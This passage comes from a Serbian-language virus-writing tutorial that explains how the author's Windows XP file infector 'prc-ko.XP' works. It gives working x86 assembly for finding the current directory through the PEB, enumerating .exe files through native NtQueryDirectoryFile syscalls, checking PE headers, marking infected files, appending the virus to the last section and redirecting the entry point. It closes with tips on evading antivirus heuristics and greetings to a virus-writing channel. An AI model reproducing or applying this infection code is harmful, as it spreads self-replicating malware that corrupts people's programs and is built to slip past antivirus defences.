0 vrati podatke za sve fajlove, tu nam je od znacaj
NextEntryOffset
FileMask - UNICODE_STRING... *.exe ? E nije vec "<.exe" unicode :) Zasto,
bog ce sam znati sto su tako uradili, ali to se dobija tracovanjem...
Takodje ovo treba koristiti samo prilikom prvog searcha... dok je
za sledeci null
RestartScan - koliko vidim i FindFirstFileA/W i FindNextFileA/W
ovo setuju na 0 pa ne vidim razlog sto bi mi bili izuzetak
E tako to su najvaznije strukture i APIz koje prc-ko.XP korsti... Sad predjimo na
infekciju i sam taok prc-ko.XP:
C PRC-KO.XP U PRAKSI
1. Da vidimo da vidimo, okle prc-ko.XP-u direktorjum
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Naime da bi mogli nekako otvoriti trenutni direktorjum moramo da znamo 2 stvari:
1. Direktorjum mora bitu u NT Path obliku
2. Kako da znamo ime direktorijuma
1. Odogovor na prvo pitanje je prost.
NT PATH za lokalni drajv (valjda se tako zove) mora da pocinje sa \??\ unicode,
vise necu naznacavati da je rec o UNICODE, jer sve na NT ispod haube je UNICODE...
tako da to morate imati u vidu... Jasno? da ... idemo dalje
2. Odgovor na ovo pitanje je isto prost ko pasulj ako znamo malo vise o TEB/PEB
internim strukturama.
Naime na FS:[0] nalazi se TEB, Thread Enviroment Block koji nam pokazuje na PEB
(Process Enviroment Block), koji sadrzi mnogo lepih stvari za nas, adrese dll-ova,
ali za nas je najbitniji deo strukture PEB koji se zove __RTL_USER_PROCESS_PARAMETERS
typedef struct _RTL_USER_PROCESS_PARAMETERS {
...
HANDLE StdErrorHandle;
UNICODE_STRING CurrentDirectoryPath;
HANDLE CurrentDirectoryHandle;
...
RTL_DRIVE_LETTER_CURDIR DLCurrentDirectory[0x20];
} RTL_USER_PROCESS_PARAMETERS
Dakle eto ga UNICODE_STRING struktura koja pokazuje na CurentDirectory, posto je
CurrentDirectrory UNICODE ali DosPath, taj dir moramo preraditi da bude
\??\curent_drecitory Evo i deo koda iz prc-ko.XP koji radi to :
<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
mov eax, dword ptr FS:[30h]
mov eax, dword ptr [eax+10h]
add eax, 24h ;CURDIR from PEB/_RTL_USER_PROCESS_PARAMETERS
push eax ;da sacuvamo EAX jer cemo prvo da unicodujemo \??\
lea edi, unicode
@pushsz <"\??\">
pop esi
@ansi2unicode
pop esi
add esi, 4 ;u esi adresa direktorjuma
mov esi, [esi]
sub edi, 2 ;da skinemo \u0000 koje je @ansi2unicode napravio
__copy_unicode:
lodsw
stosw
test ax, ax
jz __exit_copy_unicode
jmp __copy_unicode
__exit_copy_unicode:
<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
i voila, u unicode lokalnoj promenljivoj imamo \??\C:\tasm32\prc-ko\
Prosto zar ne? khm, zavisi odakle posmatrate, meni je prosto, mozda vam nije, ali
se da brzo ukapirati ako petaljet malo sa PEB. Skinite livekd i u napad na PEB/TEB
i da vidimo sta cete interesantno naci :)
2. Ajde da trazimo malo fajlove
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
I ovde dolazi do izrazaja najtezi deo posla, najdosadniji, a to je trazenje fajlova.
kernel32.dll ne koristi proste mehanizme ovde, kao i kod ostalih funkcija, pa je
ovo bilo malo mucno napraviti da radi, ali boga mu njegovog radi :)
Za ovo nam treba NtQueryDirectoryFile sa FileBothDirectoryInformation klasom i
normalno file mask "<.exe" + handle od trenutnog direktorijuma dobijen ili iz
_RTL_USER_PROECESS_PARAMETERS ili dobijen sa NtOpenFile (dir handle me je zafrkavao
iz _RTL_USER... pa sam koristio NtOpenFile)
I idemo opet deo koda :
push 4021h
push 3
lea eax, ioblock
push eax
lea eax, object
push eax
push 100001h
lea eax, dir_handle
push eax
@sysenter NtOpenFile, 6
Voila, sad imamo handle od trenutnog direktorijuma (dobijeno tracovanjem kernel32.dll)
E sad moramo da napravimo file_mask, kod je mnogo laksi za razumevanje pa idem
direktno na njega.
lea edi, fmask
@pushsz <"<.exe">
pop esi
@ansi2unicode
lea esi, au_str
lea edi, fmask
call RtlInitUnicodeString, esi, edi
Dakle prosto, "<.exe" pretvaramo u unicode i pravimo UNICODE_STRING preko
RtlInitUnicodeString koji sam prepisao iz ntdll.dll (10-12 linija cistog asm)
Idemo dalje, pocnimo da trazimo fajlove sad i pozovimo NtQueryDirectoryFile:
push 0
lea esi, au_str
push esi
push 1
push 3
push 256*2
lea esi, path
push esi
lea esi, ioblock
push esi
push null
push null
push null
push dir_handle
@sysenter NtQueryDirectoryFile, 11
Posto sam ovako lep izgled NtQueryFile dobio tracovanjem + gledanje u opis same
API, mislim, da je nije potrebno objasnjavati, lepsi je deo koda koji nam daje
fajl posle ovog poziva.
lea esi, path
mov eax, [esi.FileNameLength]
lea edi, [esi.FileName]
mov word ptr[edi+eax], null
call OpenAndInfect, edi, dir_handle
Ukratko, esi ima adresu buffera u koji smo smestili ono sto nam je od strane
NtQueryDirectoryFile vraceno
eax, ima duzinu u bajtovima imena fajla
edi, pokazuje na pocetak imena fajla
mov word ptr[edi+eax], null je jasno, stavlajmo 00 na kraj imena
fajla i onda pozivamo funkciju OpenAndInfect kojoj prdajemo ime_fajla,
i handle od trenutnog direktorijuma
Trazenje drugih exe fajlova je identicno s tim sto umesto FileMask predajemo
nulli sve ostalo je isto Da ne bude zabune to je pretposlednji argument (onaj
deo lea esi, au_Str, push esi) bice zamenjen sa push null, za vise detalja imate
kod od prc-ko.XP...
3. Ono STO VAM NISU REKLI U SKOLI
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Ono STO VAM NISU REKLI U SKOLI A BITNO JE :
SVE NT NATIVE API CE U EAX DA VRATE GRESKU, AKO JE EAX == 0 FUNKCIJA JE USPELA!!!!
Dakle posle poziva NT Apija morate da imate kod:
test eax, eax
jnz __exit_code (ili sta vec nameravate da uradite posle greske)
4. Prosta infekcija koju prc-ko.XP koristi i kako je uraditi
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Za mapiranje fajla u memorju pogledajet source kod prc-ko.XP jer me mrzi da to
objasnjavam, pogotovo sto sam vrednosti dobio tracovanjem odredjenih APIja kroz
kernel32.dll PRC-KO.XP se ubacuje u poslednji section i redirektuje EP na sebe
posle cega skace na hosta. Lepota PRC-KO.XP je da ne moramo da obelezavamo section
sa writable jer kod nije samomodifikujuci, a niti cuva podatke u sebi.
Dakle infekcija je prosta onda. uostalom infekcije su najlakse kod ovakvih virusa
jer samo ubacimo virus i redirectujemo EP na njega. Tako da je to nekih 20-30
linija koda. Ako ste pocetnik u inficiranju fajlova, ovo je pravo mesto za vas
da naucite osnovu inficiranja PE fajla. Doduse malo naprednija osnova jer necu
objasnjavati struktur PE fajla vec idem direktno na infekciju.
1. Kad otovorimo neki EXE fajl moramo biti sigurni da je rec o validnom EXE fajlu,
to cinimo tako sto prvo proveravamo da li se na pocetku nalzi MZ, a takodje
proveravamo da li postoji PE header u fajlu. Kako to izgleda, PRC-KO.XP kaze ovako :
mov ebx, memptr
mov ax, 'ZM'
cmp word ptr[ebx], ax
jne __normal_exit
add ebx, [ebx.MZ_lfanew] ;iliti add ebx, dword ptr [ebx+3ch]
mov ax, 'EP'
cmp word ptr[ebx], ax
jne __normal_exit
2. Red je onda da proverimo da li smo vec inficirali taj fajl, ja mahom koristim
offset 40h od pocetka fajla da oznacim inficirane fajlove pa mu to dodje ovako:
cmp dword ptr[edi+40h], signature
je __normal_exit ;yeah, exit
mov dword ptr[edi+40h], signature ;mark it as infected
3. Ajde da nadjemo poslednji section gde cemo da dodamo virus
movzx ecx, [ebx.NT_FileHeader.FH_NumberOfSections]
mov eax, ebx
add eax, size IMAGE_NT_HEADERS
__last_section:
add eax, size IMAGE_SECTION_HEADER
loop __last_section
Medjutim trik je ovde da sectioni ne moraju da budu organizovani po redosledu po
kome ce biti ucitani u memoriju, medjutim, po mom iskustvu sa mojim celim Program
Files (zamisli budala infcirala ceo program file prilikom testiranja) to nije
slucaj. Tako da sectioni kako su poredjani, tim redom se i dizu u memoriju trako
da ovaj kod lepo radi i upucjuje nas na poslednji section.
4. Ubacivanje virusa i promena EP je nesto najlakse, ali i najvarljiviji deo koji
mi je oduzeo dosta vremena oko kodiranja blackhand.w32 virusa. Prvo blackhand
je veliki virus (oko 4kb), a drugoolly dbg je tako smoren sa onom zutom
pozadinom da mi muka da ga gledam. No trik je sledeci do kojeg sam dosao:
Ako je SizeOfRawData < od VirtualSize onda se virus kopira na PointerToRawData
+ SizeOfRawData medjutim ako je drugaciji slucaj znaci SizeOfRawData > VirtualSize
onda se virus kopira na : PointerToRawData + VirtualSize... Takodje u zavisnosti
od ova dva slucaja zavisi i EP : u prvom slucaju :
if (SizeOfRawData < VirtualSize)
ep = VirtualAddress + SizeOfrawData
else
ep = VirtualAddress + VirtualSize
Prosta logika :) zar ne :)
Zatim idemo posto uvecavanje VirtualSize, SizeOfRawData i
NT_OptionalHeader.OH_SizeOFImage za istu velicinu za koju smo povecali fajl, u
ovom slucaju 1000h (skraceno section_size)
5. Kopiranje virusa je najlaksi deo, posto znamo gde je novi EP, podesavamo EDI
da pokazuje na njega ESI pokazuje na pocetak naseg virusa, a ecx ima duzinu
virusa i idemo samo rep movsb iliti kako bi PRC-KO.XP rekao prostim asm jezikom:
mov edx, [eax.SH_SizeOfRawData]
cmp edx, [eax.SH_VirtualSize]
jb __SH_SizeOfRawData_Is_Smaller
mov edx, [eax.SH_VirtualAddress]
add edx, [eax.SH_VirtualSize]
mov [ebx.NT_OptionalHeader.OH_AddressOfEntryPoint], edx
mov edi, [eax.SH_PointerToRawData]
add edi, [eax.SH_VirtualSize]
add edi, memptr
jmp __copy_virus
__SH_SizeOfRawData_Is_Smaller:
mov edx, [eax.SH_VirtualAddress]
add edx, [eax.SH_SizeOfRawData]
mov [ebx.NT_OptionalHeader.OH_AddressOfEntryPoint], edx
mov edi, [eax.SH_PointerToRawData]
add edi, [eax.SH_SizeOfRawData]
add edi, memptr
__copy_virus:
add [eax.SH_VirtualSize], section_size
add [eax.SH_SizeOfRawData], section_size
add [ebx.NT_OptionalHeader.OH_SizeOfImage], section_size
call __give_me_virus_start
__give_me_virus_start:
pop esi
sub esi, __give_me_virus_start-prc_ko_start
mov ecx, virus_size
rep movsb
Voila virus je kopiran EP redirektovan, samo da zatovorimo mapiranu memoriju i
idemo na sledeci fajl :))))))))))))
I to je ta prosta infekcija, malo naprednije infekcije? EPO, pomeranje .rsrc
sectiona u fajlu i ona koja se meni najvise sivjda, a to je da virusom prebrisemo
.CODE section, a original zveknemo na kraj fajla. Kad zavrsimo sa infekcijom prosto
original prekopiramo umesto virusa i tananana AV nece ni znati da je u pitanju
virus :)))) Koja ANTI-HEURISTIK FORA :))))))))))) Kasperski duvaj ga :)))))))))
D. Reference & toolz
NT Undocumented - http://undocumented.ntinternals.net/
strace - http://www.bindview.com/Support/RAZOR/Utilities/Windows/strace_readme.cfm
livekd - http://www.sysinternals.com/ntw2k/freeware/livekd.shtml
DDK - google/ ddk_xp.iso
tasm32 - http://asm.digitalblood.org/
olly dbg - http://home.t-online.de/home/Ollydbg/
vmware - http://www.vmware.com
F. Zahalnice/Pohvalnice
Sundance - jedan od najboljih asm kodera na nasim prostorima
Mil0s - za C# i hosting
bl00d - sto se nikad ne trezni :) i bl00d kako na klizanje :))))))))
Cookie - sto je l00d kao struja sa svojim wormom
BaCkSpAcE - do jaja tutorial o snifingu, keve mi moje nikad nisam znao kako to radi :)
Shatterhand - samo napred ortak :) amd64 te ceka :)))))) a tek ia64 :)))))))))))
AV shitware - Zato sto nam stalno postavljaju nove izazove :))))
i celom #ugs kanalu, koji je najotkacenija druzina koju sam ikada sreo :)))))))